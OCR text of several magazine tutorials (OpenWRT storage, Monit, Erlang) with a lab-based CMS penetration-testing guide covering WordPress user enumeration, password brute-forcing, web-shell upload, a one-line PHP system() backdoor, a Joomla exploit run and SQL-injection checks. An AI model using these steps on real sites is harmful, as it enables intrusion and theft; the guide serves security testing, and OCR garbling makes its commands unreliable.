the stick by hand every time, an unexpected reboot caused by
power failures or system crashes would cause your router and
the attached network services to go offline for good.

Conclusion

Routers running OpenWRT can be expanded with a variety of
programs, thereby enabling them to provide all types of network
services. It's also good to remember that Samba is just one
of the numerous applications available to ‘normal’ OpenWRT
devices; the Raspberry Pi's state of support severely limits the
size of the repositories.

Users of classic OpenWRT routers can use the device as a bit
torrent or FTP server if required — in most cases, packages don't
even need to be compiled. Just keep in mind that the limited
amount of flash storage of the average router might require one
or the other workaround.

With OpenWRT being open source, fixing problems
such as the limited selection of packages is a question of
impetus. The next part of this tutorial will show you how to
create a custom image by compiling the source code on your
workstation - this, of course, allows you to tag along any
packages you might find interesting! Il

B Storage trouble?

Due to the extreme memory constraints, the storage
subsystem of OpenWRT can be challenging. Should issues
occur when adding an USB hard drive or an USB stick, be sure

to consult the troubleshooting guide provided at https:/
wiki.openwrt.org/doc/howto/storage. It provides OpenWRT-
specific solutions targeted at repairing a wide range of
annoying niggles.
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security vulnerabilities

Looking for CMS flaws using automated
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Resources
OWASPTOZD 10
013

bit.ly/1a3Ytvg

CMS usage
statistiCs
bit.ly/2bJlbml

Wappalyzer

wappalyzer.com
CMSmap
bit.ly/2jq2Zjc
TurnKey Joomla
bit.ly/2iejPnr

TurnKey
WordPress
bit.ly/2jyHIbp

WPScan

wpscan.org

Joomscan
bit.ly/2j3jCEU

Joomla VEL

vel.joomla.org
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Ethical hacking

The information in this tutorial is for

security testing purposes only. Itis
illegal to use these techniques on
any computer, server or domain
that you do not own or have
admin responsibility for!

tools can help you locate a good deal of security issues
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Above After adding some Perl code to Joomscan, we are
able to detect a new vulnerability in a Joomla! component
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WordPress, Joomla! and Drupal are among the most
popular content management systems (CMSs) around
the world. Because CMSs are web applications, they
share the complete spectrum of vulnerabilities affecting
web apps: SQL-i, XSS, CSRF and so on (OWASP has a
comprehensive list of these issues). Although there are
plenty of automated tools that can help you identify
some of these vulnerabilities, a particular breed of CMS
vulnerability scanners and exploitation frameworks are
more appropriate whenever engaging in a real penetration
testing assessment. Bear in mind that these automated
tools do no magic: they can only report what is already
known. This is why you need to understand what is going
on behind the scenes in your particular CMS to discover
zero-day exploits.

This tutorial will guide you through the process of
assessing the security of your CMS by running these
automated tools along with some hands-on examples
of exploitation: brute-force attacks, shell uploading,
and so on. You will be using two Virtual Machines from
Turnkey throughout this tutorial. So go download them
(see ‘Resources’ for the URLs) and set up your test
environment. Ready? Let's go!

Fingerprint CMS platforms

CMS platforms make use of different technologies. Although
most of the CMSs are coded in PHP, they also use AJAX and well-
known APIs to increase their functionality. This, in turn, adds
more attack vectors. It is always good practice to fingerprint all
these technologies. Open Firefox and install the Wappalyzer
add-on. Now let's try it! Go to censys.io and type this in the
search box:

J| 80.http.get.body:"Joomla” and location.country_
code:GB

You will get a list of potential Joomla! servers in the UK. Navigate
to some of them using your web browser and have a look at all
the information that Wappalyzer gathers passively!

Get CMS core versions by hand

It is common practice to leave all the files that ship with the
CMS package on the web server after installing it. This, of
course, allows remote attackers to obtain a certain amount of
information concerning the CMS, such as its version. This can
help look for public exploits (you will see a real example later on).
Most of the automated tools you are about to use leverage these
bad practices to some extent. Now, make sure your TurnKey VMs
are up and running. Let’s begin with WordPress (WPVM). To get
its version, execute this in a new terminal on your computer:

[ wget http://WPYM_IP/readme.html -0 - \
I 2>/dev/null \
I |grep Version

ll <br /> Version 4.4.2

If this does not work because the sysadmin has deleted the
readme.html file (well done!), sometimes you can get the version
from the meta generator tag by reading the main page directly:

[ wget http://WPVM_IP -0 - \
| 2>/dev/null \
I Igrep "content=\"WordPress"

[l <meta name="generator” content="WordPress 4.4.2" />

When it comes to Joomla!, its version is hard-coded in the
joomla.xml file, located in at least two different directories on
the web server. Using your second Turnkey VM (ULVM), execute
wgetinthisway:

I wget http://JLWM_IP/joomla.xml -0 - \
[ 2>/dev/null \
I |grep version|tail -1

[l <version>3.4.8</version>

If this file has been deleted, try this other location:
/administrator/manifests/files/joomla.xml.

Enumerate usernames in WordPress
WordPress is vulnerable to user-enumeration and, in some
instances, to brute-force attacks too. Two tools are really good at
enumerating users: WPscan and CMSmap. Go get them:



I git clone https://github.com/wpscanteam/wpscan.git
[l git clone -b exploidbfix https://github.com/gianogli/
CMSmap.git

Before using CMSmap, you need to clone the exploitdb
repository inside the CMSmap directory (otherwise, the update
process won't work):

B cd cMSmap/
I git clone https://github.com/offensive-security/
exploit-database.git ./exploitdb

Finally, edit the exploitdb/searchexploit file and set the gitpath
variable accordingly:

I gitpath="/path/to/CMSmap/exploitdb”

Open your web browser and navigate to the WordPress
Administrator Dashboard on your WPVM:

I firefox http://WPVM_IP/wp-admin

Create a couple of new users, eg user?1 and user2. Set a couple
of dictionary-based passwords for these users too: ‘password’
and ‘music’. Now let’s get back to your fancy terminal and try to

enumerate them using WPscan:

cd wpscan/
./wpscan -u http://WPVM_IP --enumerate u

[+] Identlfled the follow1ng 3 user/s:

| Id | Login | Name |

| 1 | adm1n| admin|
| 2 | userl | userl |
| 3 | user2 | user2 |

Do the same now but using CMSmap:

cd CMSmap/
./cmsmap.py -t http://WPVM_IP -f W

l [] Enumerating Wordpress Usernames via "Author”
I ™M1 admin

l M1 user2

ll [H] Valid Credentials: userl password

| [I] Forgotten Password Allows Username Enumeration:
http://WPVM_IP/wp-login.php?action=lostpassword

l [M] Website vulnerable to XM-RPC Brute Force
Vulnerability

As you can see from this, CMSmap enumerates all the
users and discovers user1’s password along the way! It also
detects an important flaw that you will be exploiting next:
XML-RPC brute-force!

Brute-force WordPress

Some WordPress servers are vulnerable to XML-RPC brute-
forcing. After enumerating usernames, the next logical step
would be to guess their passwords. If a WordPress installation
is vulnerable to XML-RPC brute-forcing, then those accounts
holding very weak passwords would be irremediably exposed.
Tryityourself; get a list of the 500 worst passwords:

[l git clone https://github.com/danielmiessler/SecLists

You want to guess user2’s password (CMSmap has guessed
user1’s password already), so execute CMSmap like this:

I ./cmsmap.py -t http://WPVM_IP -u user2 —p ../
SecLists/Passwords/500-worst-passwords.txt

I [=] Wordpress Brute Forcing Attack Started
[l [H] Valid Credentials: user2 music

Identify vulnerable plug-ins in WordPress
Although the core for a particular CMS may have flaws, one of
the main problems that compromises CMS security is plug-ins.
Name them as you wish: components, add-ons, extensions...
They are all alike: some are poorly implemented and therefore
pose a threat to any up-to-date and patched CMS. If you look
around the internet, the chances are that you will find an awful
lot of up-to-date WordPress servers running at least one or two
really old plug-ins! WPScan can alleviate the burden of manually
enumerating all the installed plug-ins for a particular WordPress
server, telling you which ones are known to be vulnerable along
the way, too.

Now, let’s put WPScan to the test! Download Reflex Gallery
3.1.1 (this plug-inis reportedly vulnerable to Arbitrary File Upload,
and itis still available for download as of this writing):

I wget https://github.com/wp-plugins/reflex-gallery/
archive/3.1.3.tar.gz

Upload this file to your WPVM using scp:

[l scp 3.1.3.tar.gz root@WPVM_IP: /var/www/wordpress/wp-
content/plugins/

Connect to WPVM and decompress the plug-in:

ll ssh root@wPvM_IP

I cd /var/www/wordpress/wp-content/plugins/
[ tar xvfz 3.1.3.tar.gz

v reflex-gallery-3.1.3 reflex-gallery

Finally, get back to the Admin Dashboard using your web
browser and activate the new plug-in. Once it is activated,
execute WPScan in order to enumerate those plug-ins that are
known to have security issues:

I wpscan -u http://WPVM_IP --enumerate vp

[l [11 Title: Reflex Gallery <= 3.1.3 - Arbitrary File
Upload

M Set up your
testlab

After downloading
and importing the
two appliances

in VirtualBox, you
need to set up two
network adaptors for
Joomla!: a Host-Only
adaptorand a NAT
adaptor. The second
one will allow the
VMto connecttothe
internet and send
email messages.

As for WordPress, a
Host-Only adapter will
suffice. Don’t update
the VMs!
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You will getalist of reportedly vulnerable plug-ins —among them,
Reflex Gallery!

Automate the exploitation with WEF

So now you know that your WordPress has vulnerable plug-ins.
Your next step should be to update these plug-ins to make
sure no one is going to break into your server! Attackers will
try to exploit these issues in order to take over the server. They
will make use of public exploits or they will code their own, or
maybe they will use the WordPress Exploit Framework (WEF),
a Metasploit-esque framework that automates all the boring
stuff! Goget it:

I git clone https://github.com/rastating/wordpress-
exploit-framework.git

Now install WEF dependencies:

B cd wordpress-exploit-framework/
[l bundle install

From your last execution of WPScan, you know that Reflex
Gallery is vulnerable to Arbitrary File Upload. You are about to
exploit this security flaw using WEF in order to upload a PHP
shell. Execute WEF:

I /wpxfirb

I Loaded 33 auxiliary modules, 123 exploits, 5
payloads

B woxf >

You will be presented with a prompt. We need an exploit for
Reflex Gallery; let’s search for it:

I wpxf> search gallery
I exploit/reflex_gallery_shell_upload

This one looks promising! Issue a use command to select
thisexploit:

I wpxf > use exploit/reflex_gallery_shell upload

You can get information about this particular exploit with the
infocommand:

I wpxf [exploit/reflex_gallery_shell_upload] > info

What comes next is well known if you are a Metasploit user; set
the target host accordingly and enable the Verbose mode:

I wpxf [exploit/reflex_gallery_shell_upload]> set host
WPVM_IP

[ wpxf [exploit/reflex_gallery_shell upload] > set
verbose true

Before running the exploit, you need to choose
which payload you want to deliver at this stage.
We want to upload a C99 shell, so go download it first:

I wget https://raw.githubusercontent.com/tennc/
webshell/master/php/PHPshell/c99/c99.php

Use the C99.php file as your payload inside WEF this way:

[ wpxf [exploit/reflex_gallery_shell upload] > set
payload custom

I wpxf [exploit/reflex_gallery_shell_upload] > set
payload_path /path/to/c99.php

Allsetand done! Runit:
I wpxf [exploit/reflex_gallery_shell_upload] > run

l =1 uploading payload...
I [+] Uploaded the payload to http://YOUR_VM_IP/wp-
content/uploads/2016/12/mhuWSXhyQP.php

Open your web browser and navigate to:
http://WPVM_IP/wp-content/uploads/2016/12/mhuWSXhyQP.php
(Bear in mind that the payload will randomise the shell file
name, so yours should be different.) A nice C99 PHP shell will be
rendered inside your browser!

Look for public exploits

Plug-ins are the worst when it comes to security flaws, but make
no mistake: CMS cores are no exception whatsoever. Earlier
in this tutorial you learned how to obtain the version of a CMS.
Equipped with this information, you're free to look for public
exploits to compromise the server. Joomla! 3.4.8 is running on
your VM. So go surf the web and search for vulnerabilities and
public exploits for this particular version. Open your web browser
and navigate to:
www.cvedetails.com/vulnerability-search.php.

You only need to fill in two form fields: type Joomla’ for Vendor
and Joomla!" for Product, scroll the page down and press
the Search button. A list of well-known vulnerabilities will be
shown. Try to spot CVE-2016-8869 in the list. This one allows
a remote attacker to register a new user and set their group to
admin. According to the database, there is even a module for
the Metasploit framework! All Joomla! versions before 3.6.4 are
vulnerable, therefore yours is! Sometimes the CVE database
does not know about any public exploits. In these cases, try
googling the vulnerability. You can search in GitHub, ExploitDB...
For this particular example, let’s use GitHub. Type this in the
Google search text boxand press Enter:
site:github.com CVE-2016-8869

So it turns out GitHub does have a public exploit for this
vulnerability, too: Joomraa!

Exploit Joomla! core

Now that you have found a vulnerability affecting your version
of Joomla! and a public exploit, it's hacking time! Download the
exploit first:

I wget https://raw.githubusercontent.com/
XiphosResearch/exploits/master/Joomraa/joomraa.py

Set its execution bit:



I chmod +x joomraa.py

Go to the Administrator Panel in your Joomla! VM and
enable the option Allow User Registration under Global
Configuration>Users. Let’s create a simple payload now. Write
this code down and save it as payload.php:

[l <?=system($_GET['x'1); 2>

Create a disposable mailbox; open your web browser and
navigateto:
https://dropmail.me/en/

Anew randomised disposable mailbox will be generated for you.
Copy the email address just generated. Run the exploit against
yourJoomla! VM this way:

I ./joomraa.py -u test -p password -e <EMAIL>
http://<JLW_IP> -x payload.php

You will get a confirmation email in your temporary mailbox. Click
on the link (this will activate the new test account) and wait for
joomraato log in and upload the payload:

B 4 Admin Login Success!

[l 1 Getting media options

l 1 Setting media options

I [x] Uploading exploit.pht

I [x] Uploading exploit to: http://JLVM_IP/images/
LRAN2NDS34.pht

Don't mind if joomraa complains about not executing the
payload; it has already uploaded it! Open your browser and try it
(Bear in mind that the uploaded file name has been randomised
and yours will be different); try to get the /etc/passwd file:

http:/AJLVM_IP/images/LRAN2NDS34.pht?x=cat /etc/
passwd

Search for Joomla! vulnerable extensions
Joomla! vulnerable extensions are listed in the Joomla!
Vulnerable Extension List (VEL). Open your web browser and
navigate to: vel.joomla.org. A list of vulnerable extensions will
be shown. You can use this list as a reference during your pen-
testing engagements. If you happen to find a new vulnerability,
use this website toreportit.

Code your ownvulnerable

extension detector

CMS scanners detect only those vulnerabilities that have been
reported. Whenever a new vulnerability pops out, you can either
wait for this new one to be added to existing CMS scanners or
you can code it yourself. No need to reinvent the wheel, though.
Imagine you have found a new SQL-i vulnerability in the Joomla!
JsJobs 1.1.6 component. It would be great to detect this new
vulnerability automatically from now on. First, download
a modified version of the component (this component has
explicitly been modified to be vulnerable to SQL-i, so please don't
useitonarealserver!):
www.dropbox.com/s/ekn5j6z8banwioj/jsjobs.zip?dl=0

Install the component using the Joomla Administrator Panel.
Go try the vulnerability by hand; open your web browser and
navigateto:
http:/AJLVM_IP/index.php?option=com_jsjobs&c=common&
view=company&layout=view_company&cd=1

The cd parameter is vulnerable to SQL-i. Replace the value 1 with
"totriggeran SQL error:
http:/AJLVM_IP/index.php?option=com_jsjobs&c=common&
view=company&layout=view_company&cd="

A generic MySQL SQL Syntax error message will appear.
Joomscan is an old Joomla! vulnerability scanner. Although it
is quite old, we can use it to detect this new vulnerability with a
couple of additions. Download it:

I svn co https://svn.code.sf.net/p/joomscan/code/trunk
joomscan

You need to add the new vulnerability to its database (an
ASCII file). Append this to joomscandb.txt (this goes all on
one line):

I Component: JsJobs 1.1.X (com_jsjobs) SQLinjection
Vulnerability Versions Affected: 1.1.X <= |/
components/com_jsjobs|/components/com_jsjobs/index.
php?option=com_jsjobs&c=common&view=company&layout=v
iew_company&cd='

Finally, you have to code some Perl. If the cd parameter
is vulnerable to SQL-i, we get an SQL syntax error
message. Therefore, the detection is as simple as making a
GET request to the page and looking for this error message in
the response. If it is found, this version of JsJobs is vulnerable,
otherwiseitisn't.

Edit joomscan.pl and add this code right after the
/Path Disclosure/ bracket:

[l case(/com_jsjobs/)
1<
[ my $jsreq = $ua->request(GET $url.$exploit );
if ($jsreg—>content =~ /You have an error in your
SQL syntax/gi){
$isvuln = 1;

I Jelse{$vulnans = 'No’;}

}

Execute joomscan and the vulnerability will be detected:

I ./joomscan -u http://JLVM_IP

f# 2

I Info => Component: JsJobs 1.1.X (com_jsjobs)
SQLinjection

[l Vulnerable? Yes

You can download this modified version of Joomscan from here:

www.dropbox.com/s/fctscg9cmk8ya70/
joomscan4lud.tar.bz2?d1=0

M Discover
zero-day
exploitsin
CMSs

Reading and
following the code
path for a particular
functionalityinaCMS
can help you spot
zero-day exploits. A
good understanding
of the CMS core,
some notions of
PHP and an ASCII
editor will suffice.
As an exercise, try
to spotand fix the
SQL-ivulnerability
we deliberately
introduced in

the JsJobs 1.1.6
component. Once itis
fixed, run Joomscan
againand see

what happens!
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Set up Monit to monitor processes

In this guide we'll show you how to install and configure
Monit on a Linux system to manage and monitor processes,
file systems, scripts and more
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Right Monit running
on localhost
displaying details of
the current system.
By default it tracks
CPU, RAM and swap
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Computers are complex: a seemingly simple operation like
opening a file may need thousands of operations taking place
internally to succeed. Even if one instruction fails, your file won't
open. If there is a human working with the computer, such failure
is not a big deal. Humans can recognise and correct the error
that caused an operation tofail.

However, if there are several computers working on complex
tasks with minimal human interaction, it is critical to make sure
you get to know about failures upfront. Monit is one such tool
that helps you track and monitor processes, files, directories and
file systems. It can look for changes — such as in timestamps,
checksums or sizes — in a network and can notify you of errors
and failures. Monit can also conduct automatic maintenance
and repair by executing specific actions in error situations. For
example, Monit can start a process if it does not run, restart a
process if it does not respond, and stop a process if it uses too
many resources.

Monit is designed as an autonomous system and does not
depend on plug-ins nor any special libraries to run. Instead, it
works right out of the box and can utilise existing infrastructure
already on your system. As most common Unix distributions
already include Monit, you can use it without even having
to install it. Even if your distro doesnt come with Monit
pre-installed, you caneasily install it using package managers.

Installation

O 1 We have used Ubuntu 16.04 as the host platform for
installation of Monit for this tutorial. Since Ubuntu doesn’t
ship with Monit out of the box, use apt-get to install Monit:

I $ sudo apt-get install monit

This will install Monit and create the control file. Monit is
configured via the control file .monitrc. This file is generally
located in ~/.monitrc or /etc/monit/monitrc.

We'll see more about the file in the following steps. For now,
let’s enable Monit’s web interface, which runs on port 2812 by
default. Open the control file with your favourite text editor:

I $ sudo vi /etc/monit/monitrc

% tEe AT =
Home » s WS 1 manage 48 your Ment nstances Mo 5,14

Monit Service Manager

Monil is running on s VinualBax with updime. Jm and monerng

System Status Load cPU Memory  Swap

pitith Vi Box [DSS|[C38)[022]  30.S%us, 7.%sy, 08%wa  21.1%[BISAME] 0% [0B)

Then uncomment the section below to enable default HTTP
support. We'll get into the details of HTTP supportin a while.

l set httpd port 2812 and

l use address localhost # only accept connection
from localhost

ll allow localhost # allow localhost to
connect to the server and

I allow admin:monit # require user 'admin’
with password 'monit’
ll allow @monit

'monit’ to connect (rw)
l allow Qusers readonly # allow users of group
'users’ to connect

ll readonly

# allow users of group

Once the file is edited, save it and assign read-write
permission only. This is important because Monit checks
the file permissions and will complain and exit if any extra
permissions are given:

ll $ chmod 0700 /etc/monit/monitrc

Finally, start Monit by executing:
I s monit

Now you can also access Monit via your browser at
http://localhost:2812.

General operation
Monit can be controlled either by command-

0

line options or a control file, .monitrc, or a combination of
both. However, note that command-line options override

.monitrc declarations. The default location for the

.monitrcfile is ~/.monitrc.
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If this file does not exist, Monit will look in /etc/monitrc
and a few other locations. You can also specify the control
file location directly by using the -c command-line switch for
Monit. For instance:

l $ monit -c /var/monit/monitrc

Whenever you make changes to the control file, you can test it
for syntaxerrors by typing:

B $ monit -t
l $ control file syntax OK

If there is an error while parsing the file, Monit will print an
error message to the console, including the line number in
the control file from where the error was found. Only once you
have a working Monit control file can you start Monit.

All the monitoring details and rules have to be put in the
control file in Monit’s own DSL (domain-specific language).
You can change some configuration directives via command-
line switches, but for readability and change-tracking it is
better that you put these in the control file.
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0 Domain-specific language
We learnt in the previous steps that Monit depends
on the .monitrc file for almost all the monitoring declarations

B Monit supports a
daemon mode that helps
you run monitoring tasks
unobtrusively. In daemon
mode, Monit detaches itself
from the console &

and rules. This control file is written in DSL (domain-specific
language). Let us now look at the important aspects of Monit
DSL, so you can edit the file to configure Monit to monitor
different parameters.

Monit uses its own DSL in the control file. Comments begin
with a ‘#” and extend through the end of the line. Otherwise
the file consists of a series of service entries or global option
statements in a free-format, token-oriented syntax.

There are three kinds of tokens: grammar, numbers
(ie decimal digit sequences) and strings. Strings can be
either quoted or unquoted. A quoted string is bounded
by double quotes and may contain whitespace (and
quoted digits are treated as a string). An unquoted string
is any whitespace-delimited token, containing characters
and/or numbers.

You can use noise keywords like if, and, with(in), has, us(ingle),
on(ly), then, for and of anywhere in an entry to make it resemble
English. They're ignored, but can make entries much easier to
read at a glance. Keywords are case insensitive.

nitish@nitish-virtualBox: ~

with PID

0 Daemon mode

Monit supports a daemon mode that helps you
run monitoring tasks unobtrusively. In daemon mode,
Monit detaches itself from the console. It puts itself in the
background and runs continuously, monitoring each specified
service and then goes to sleep for the given poll interval, wakes
up and start monitoring again in an endless cycle. Use the
control file to set Monit in daemon mode:

I SET DAEMON <seconds> [[WITH] START DELAY
<seconds>]

Specify a polling interval in seconds and a start delay in
seconds, which is used to wait (once) before Monit starts
checking services. To set the poll interval from the command
line, execute:

l $ monit —d n

This runs Monit as a daemon once per n seconds (so change
n to your preference). If daemon mode is not specified, Monit
will run through the service check once by default and then
exit. Monit is primarily designed to be run in daemon mode, so
always set daemon mode unless not required. When the Monit
daemon is running in the background and you execute the
monit command, a wake-up signal is sent to the daemon. This
forces Monit to check services immediately. To kill the running
Monit daemon process, execute:

[ $ monit quit

0 5 Monit HTTP support
To start Monit with HTTP support, you need to enable

itin the control file (as we did in the first step). You can then use

B Send
email alerts
via Gmail

You can configure
Monit to send
emails via the
Gmail serverin
case of any global
alerts. To do this,
enter thisin the
Monit control file:

B set

mailserver

smtp.gmail.com

port 587
l  username
"MYUSER"
password
""MYPASSWORD"
B using ssl

Monit 5.17 or later

automatically uses

the TLS protocol
for mail servers.
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Disable monitoring

Monit CLI to start and stop services, disable or enable service
monitoring, as well as view the status of each service.

Monit supports an HTTP service, via both TCP and Unix
socket. However, if you have enabled HTTP support over TCP
rather than over a Unix socket, you can also view Monit’s
informative dashboard in your web browser. Let us now see in
detail the various options to configure HTTP support in Monit
via the controlfile. First, the syntax for the TCP port:

I SET HTTPD PORT <number> [ADDRESS <hostname |
IP-address>]

[SSL <ENABLE | DISABLE>]

[PEMFILE <path>]

[CLIENTPEMFILE <path>]

[ALLOWSELFCERTIFICATION]

[SIGNATURE <ENABLE | DISABLE>]

ALLOW <user:password | IP-address | IP-range>+

Here, Port is where Monit should bind to and listen on. By
default, it is listens on port 2812. Address is used to specify
the specific IP address Monit should listen to. For example,
if you don't want to expose Monit's web interface to the
network, bind it to localhost only. By default, Monit accepts
connections on any address. SSl-enable TLS for Monit’s
web interface. The Pemfile option is used to point to the file
that holds both the server’s private key and certificate. A
connecting client can provide a certificate known to Monit
in order to connect. Clientpemfile is used to set the path to
such file. You can also enable self-certification by adding the
Allowselfcertification statement.
The syntax for Unix socket is:

[} SET HTTPD UNIXSOCKET <path>
I ALLOW <user:password>+

Here, Unixsocket is the path to the Unix socket to which Monit
should connect.

0 Service methods

Each service can have associated start, stop and
restart methods which Monit can use to execute action
on the service. You can add this in the control file with the
following syntax:

J| <START | STOP | RESTART> [PROGRAM] = "program”

I [[AS] UID <number | string>]
I [[AS] GID <number | string>]
I [[WITH] TIMEOUT <number> SECOND(S)]

Here, ‘program’ is the path of an executable. It can also be
a shell script, but in any case it should have executable
permission. By default, the program is executed as the
user under which Monit is running. However, if Monit is
running as root, you may optionally specify the UID and
GID the executed program should switch to.

In the case of a process check, Monit will wait up to 30
seconds for the start/stop action to finish before giving up
and reporting an error. You can override this timeout using
the Timeout option or globally using the set limits. Here is
an example:

I check process foobar with pidfile /var/run/
foobar.pid

l start program = "/etc/init.d/foobar start”
with timeout 60 seconds

I stop program = "/etc/init.d/foobar stop"

#8 Check that a process is running, in this case Apache, and that it respond
#%# to HTTP and HTTPS requests. Check its resource usage such as cpu and memory,
## and number of children. If the process is not running, Monit will restart
®1 \t by default. In case the service is restarted very often and the

#8 problem remains, it is possible to disable monitoring using the TIMEOUT

RS statenent. This service depends on amother service (apache_bin) which

¥ is defined above.

# check process apache with pidfile fusrflocalfapacheflogsfhttpd.pid
" start progran = "jetc/init.dfhttpd start™ with timeout oo seconds
" stop program = “fetc/init.dfhttpd stop”

# Af cpu > 68% for 2 cycles then alert

(] Af cpu » BOX for 5 cycles then restart

" if totalmem > MB for 5 cycles then restart

# if children > 258 then restart

® if loadavg(5min) greater than 18 for 8 cycles then stop

7 if falled host ww.tTildeslash.com port B2 protocol http
"

¥

"

#

¥

[

"

and request "/somefile html”

then restart

Af failed port 443 type tcpssl protocol hetpl
with timeout 15 seconds

then restart

if 3 restarts within 5 cycles then unnoniter

depends on apache_bin

group server

0 Service dependencies

If specified in the control file, Monit can perform
dependency checks before starting, stopping, monitoring
or unmonitoring of services. To do this, add a dependency
statement within any service entries in the Monit control file.
The syntax for the depend statement is:

[l DEPENDS on servicel, service [,...]]

Here, ‘service’ is a check service entry name used in your
.monitrc file; for instance, apache or datafs. You may add
more than one service name of any type or use more than
one depend statement in an entry. If a service is stopped
or unmonitored, Monit will stop/unmonitor any dependent
servicesaswell.

Note that Monit takes care of ordering while starting or
stopping services, based on the dependencies specified in the
.monitrc file. So, while starting a service, first all that services
on which this service depends on will be started. If starting a
(dependency) service fails, the service with prerequisites will
not be started, but Monit will remember that it should startand
will retry next cycle.

If a service is restarted, Monit will first stop any active
services that depend on it and after it is started, start all
depending services that were active before the restart again.



0 Service testing

Monit offers several if-tests you can use in a
‘check’ statement to test various aspects of a service. You
can test both for a predefined value or for a range and take
actions if the value changes. General syntax for testing a
specific value or range is:

I IF <test> THEN <action> [ELSE IF SUCCEEDED
THEN <action>]

The action is evaluated each time the <test> condition is
true. Success action is optional and executed only when
the state changes from failure to success. If a success
action is not set, Monit will send a recovery alert by
default. General syntax for a value change test is:

I IF CHANGED <test> THEN <action>

The action is executed each time the value changes. Monit
will remember the new value and trigger event if the value
changes again. This way, you can set up Monit to take
corrective actions automatically if something goes wrong.

Monit defines a fixed set of actions. In each test, you
must select the action to be executed from this set. Let us
see these actions:

- Alert: Sends the user an alert event upon each
state change.

- Restart: Restarts the service and sends an alert.

- Start: Calls the service’s registered start method and
sends an alert.

## Send status and events to M/Monit (For more informations about MfMonit

®% see http://mmonit.comf). By default Monit registers credentials with

#% WfMonit so M/Monilt can smoothly communicate back to Monit and you don't

#% have to register Monit credentials manually in M/Monit. It is possible to
## disable credential registration using the commented ocut option below.

##% Though, if safety is a concern we reconmend instead using https when

&t communicating with M/Monilt and send credentlals encrypted.

® set mmonlt http://monilt:monlt@l92,.163.1.18:8980 /collector
L3 ® and reglster without credentials # Don't register credentials

- Stop: Calls the service’s registered stop method and
sends an alert.
- Exec: Executes an arbitrary program and sends an alert.
- Unmonitor: Disables monitoring of that service and
sends an alert.

0 Managing Monit instances

In case you have a distributed set of computers to
monitor via Monit, you can use M/Monit to get a bird’s-eye
picture of your setup. M/Monit uses Monit as an agent. At
regular intervals, Monit can send a message to M/Monit

To send data to M/Monit, add the following statement to
each of your Monit control files:

B SET MMONIT <url>
l  [TIMEOUT <number> SECONDS]
I [REGISTER WITHOUT CREDENTIALS]

Monit will register itself in M/Monit and will start sending
status and event messages to M/Monit. The default
timeout is five seconds; you can customise the timeout
using the Timeout option.

monikre =
8 Monit by default uses the following format for alerts if the the mall-format
## statement 1s missing::
[ i DI
## set pail-format [
= from: monit@$HosT
##  subject: monit alert -- SEVENT SSERVICE
#8  message: SEVENT Service $SERVICE
e Date: SDATE

v Actions SACTION

= Host: SHOST

E) Description: SOESCAIPTION
&=

= Your Talthful employee,

#e Monit

we }

#F --fe--

w

## You can override this message format or parts of it, such as subject
#% or sender using the MAIL-FORMAT statement. Macros such as $DATE, etc.
#% are expanded at runtime. For example, to override the sender, use:

u

# set mail-format { from: monit@fec.bar }

L

#

w9 You can set alert reciplents whom will recetve alerts Uffwhen 5

## service defined in this file has errors. Alerts may be restricted on
#w events by using a filter as in the second example below.

¥

# set alert sysadm@foo.bar 8 receive all alerts
#

¥0 Do not alert when Monlt starts, stops or perfarms a user inttiated actilon.
#2 This filter is recommended to avoid getting alerts for trivial cases.

w
# set alert your-name@your.domain not on { instance, action }
&

1 Alert message setup

Monit can automatically trigger alert statements
based on preconfigured events. These alert statements
are of two types - global and local. While global alert
statements are generally issued via email, local alerts are
used in the context of a service check to enable alerts for
the given service only. Let us see the syntax for global and
local alerts:

I SET ALERT mail-address [[NOT] {event, ...}]
[REMINDER cycles]

This is a global alert statement that will send an email to
a given mail-address when the described event occurs.
Similarly, a local alert statement can be set up like this:

B check host myhost with address 127.0.0.1
I if failed port 3306 protocol mysgl then
alert

B You can set up Monit to take corrective actions
automatically if something goes wrong i

with the status of the host it is running on. M/Monit presents
the collected data in charts and event logs and gives you the
option to view key performance data of all your hosts in a
modern, clean and well-designed user interface which also
works on mobile devices. From M/Monit, you can also start,
stop and restart services on your hosts running Monit.

l if failed port 443 protocol https then alert
I alert foo@bar # Local service alert

Note that you can combine global and local alert
statements. If there is a conflict, the local alert has
precedence and overrides the global statement.

W Runtwo
or more
Monit
instances on
acomputer

You can run several
Monit instances
on the same
machine. This is
easiestif yourun
eachinstance as
adifferent user.
This is because
Monit reads its
configuration file
from the default
location — $HOME/
.monitrc. So,

the only change
needed is to set
up Monit to listen
on different ports
for different
instances running
as different users.
The statement to
modify is:

B set httpd
port 2812

...where the port
(in this case
2812) needs to
be different for
eachinstance.
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Erlang

Program in Erlang:

Strings, data structures
and messages

[ earn more about Erlang functions,
strings, user input, lists, maps, records,
message passing and printing

This is the third tutorial in our series about the Erlang
programming language. This tutorial will deal with many
Erlang subjects, including message passing between Erlang
processes, along with printing and formatting output and
records. We will also revisit subjects such as lists, maps,
gettinguserinputand OTP.

Until the next issue, try to write as much Erlang code
as possible to understand the various Erlang concepts
and keep your morale high, because forthcoming
tutorials will discuss more difficult topics such as OTP,
Mnesia, debugging, file I/0, network programming and
web development.

Erlang strings

Strictly speaking Erlang does not have strings, because a
stringin Erlang is just a list of characters. However, it would not
be completely wrong to believe that Erlang supports strings,
especially when you are using Erlang functions that work with
strings. You can define a new string in Erlang shell as follows:

B 1> Sl = "This is a string”.

B 'This is a string”

B You can also find its length with the help of
the len() function:

B 4 string:len(S1).

il 16

Please note that in order to use len(), you should include the
name of the Erlang library that includes it, which is string. You
can concatenate two or more strings as follows:

B 12>S3=S1 +"" + S2.

Figure 1 (overleaf) illustrates more string tasks along with their
corresponding Erlang functions. In order to better understand
them, you should try them on your own.

Erlang lists
The list is the most important data type in Erlang, which is not
strange because lists play a key role in almost all functional
programming languages. A list can either be empty or contain
data. The first element of a list is the head, whereas the
remaining part is called the tail of the list. You know that you
have processed all the elements of a list when you end up with
anempty list, whichis represented as [].

The following interaction with Erlang shell will help you
clarify many things related to lists:

I >Xx=1, 2 3 4,5 6, 71
B [1,2,3,4,56,7]

B 3>[A | XAl =X

B [1,2,3,4,56,7]

| S

i

I 5 XA

B [2,3,4,56,7]

The use of pattern matching with the help of the | (vertical
bar) character allows you to extract elements from a list and
keep the remaining elements elsewhere. Creating a new list
from existing ones is as easy as executing the following code:
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B o> w=[Al + [A] + XA.
P [1,1,2,3,4,56,7]

The reason for including A in square brackets in the previous
command is that A is a single element and not a list. As you can
imagine, the previous code can be also used for concatenating
two or more strings.

The next code does some pretty handy things with a list:

B7>w=10, 2 a b, 3 4, w, wl
I 11,2,3,b,3,4,wul

I 8> [ New || New <= W, New > 3.

I [a,b,4,w,w]

